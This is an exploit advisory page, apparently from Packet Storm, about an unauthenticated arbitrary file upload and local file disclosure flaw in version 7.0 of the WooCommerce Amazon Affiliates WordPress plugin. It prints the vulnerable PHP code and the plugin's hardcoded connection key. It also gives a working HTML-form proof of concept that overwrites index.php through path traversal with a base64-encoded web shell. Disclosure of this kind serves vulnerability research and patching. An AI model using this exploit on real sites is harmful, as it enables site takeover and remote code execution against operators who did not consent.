what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WooCommerce Amazon Affiliates 7.0 Shell Upload / File Disclosure

WordPress WooCommerce Amazon Affiliates 7.0 Shell Upload / File Disclosure
Posted Apr 26, 2015
Authored by Evex

WordPress WooCommerce Amazon Affiliates plugin version 7.0 suffers from file disclosure and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, info disclosure
SHA-256 | 6bf85916f8328ca14bfba59426f65b3d54e44bb1f87dfe285d315cafe7390693

WordPress WooCommerce Amazon Affiliates 7.0 Shell Upload / File Disclosure

Change Mirror Download
WooCommerce Amazon Affiliates Wordpress Plugin Unauthenicated Arbitrary
File Upload & LFD
Link:
http://codecanyon.net/item/woocommerce-amazon-affiliates-wordpress-plugin/3057503
Version: 7.0

This Plugin is Vulnerable to Local File Disclosure and Remote Code Execute
via Arbitrary File Upload.

Vulnerability Code(Shorted):
class abmRemoteSupport{

public function __construct(){
$this->load_config();
$this->validate_connection();
$this->triggers();
}

private function load_config(){
require_once( 'remote_init.php' );
$this->config = $aa_tunnel_config;

/* in remote_init.php
* $aa_tunnel_config = array(
* "key" => "69efc4922575861f31125878597e97cf",
* );
*/
}

private function validate_connection(){
$coming_key = isset($_REQUEST['connection_key']) ?
$_REQUEST['connection_key'] : '';
if( trim($coming_key) == "" || $coming_key != $this->config['key']
){
$this->print_error( array('code' => 101,'msg' => "Invalid
key!"), 'fatal' );
}
return true;
}

private function triggers(){
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
if( $action == 'browse_folder' )
$this->browse_folder();
if( $action == 'open_file' )
$this->open_file();
if( $action == 'save_file' )
$this->save_file();
$this->print_response();
}

private function save_file(){
$file = isset($_REQUEST['file']) ? urldecode($_REQUEST['file']) :
'';
$file_content = isset($_REQUEST['file_content']) ?
@base64_decode($_REQUEST['file_content']) : '';
if( file_exists( $file )) {
$write_file = @file_put_contents( $file, $file_content );
if( $write_file ){
$this->response = array('status' => 'valid','file_path' =>
$file,'file_type' => end( explode(".", $file ) ));
}else{
$this->response = array('status' => 'invalid','msg' =>
'Unable to write on file','file_type' => end( explode(".", $file ) ),
'file_path' => $file);
}
}
}

private function open_file()
{
$file = isset($_REQUEST['file']) ? $this->config['path'] .
$_REQUEST['file'] : '';
if( file_exists( $file ) ) {
$file_content = file_get_contents( $file );
$this->response = array(
'status' => 'valid',
'file_path' => $file,
'file_type' => end( explode(".", $file ) ),
'file_name' => end( explode("/", $file ) ),
'file_alias' => md5( $file ),
'content' => $file_content
);
}
}

new abmRemoteSupport();
Vulnerable Code End.

so as you see it using authenication! in 'validate_connection' function its
validating connection through checking the requested key with the defined
one ($this->config['key']). the pass is an md5 value
'69efc4922575861f31125878597e97cf' but when authenicating its comparing
$_REQUEST['connection_key'] with '69efc4922575861f31125878597e97cf'
Directly without encoding the requested key in md5. so it can be directly
passed by passing the original value '69efc4922575861f31125878597e97cf'.

Conclusion: 'remote_tunnel.php'?!! this looks a suspicious name though! its
confusing if the vendor did this on purpose or not, because there is
protections in other methods.

Proof of Concept:
<form action="
http://wordpress/wp-content/plugins/wwc-amz-aff/modules/remote_support/remote_tunnel.php"
method="post" >
<input type="hidden" name="connection_key"
value="69efc4922575861f31125878597e97cf" >
<input name="action" value="save_file" ><br>
<input name="file" value="../../../index.php"><br>
<textarea name="file_content" >BASE64 ENCODED SHELL</textarea><br>
<input type="submit" ><br>
</form>

Timeline:
Discovered - March 2015
Vendor Contact - March 2015
No Reply - April 2015
Public Disclosure - April 2015

@Evex_1337
http://research.evex.pw/?vuln=13
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close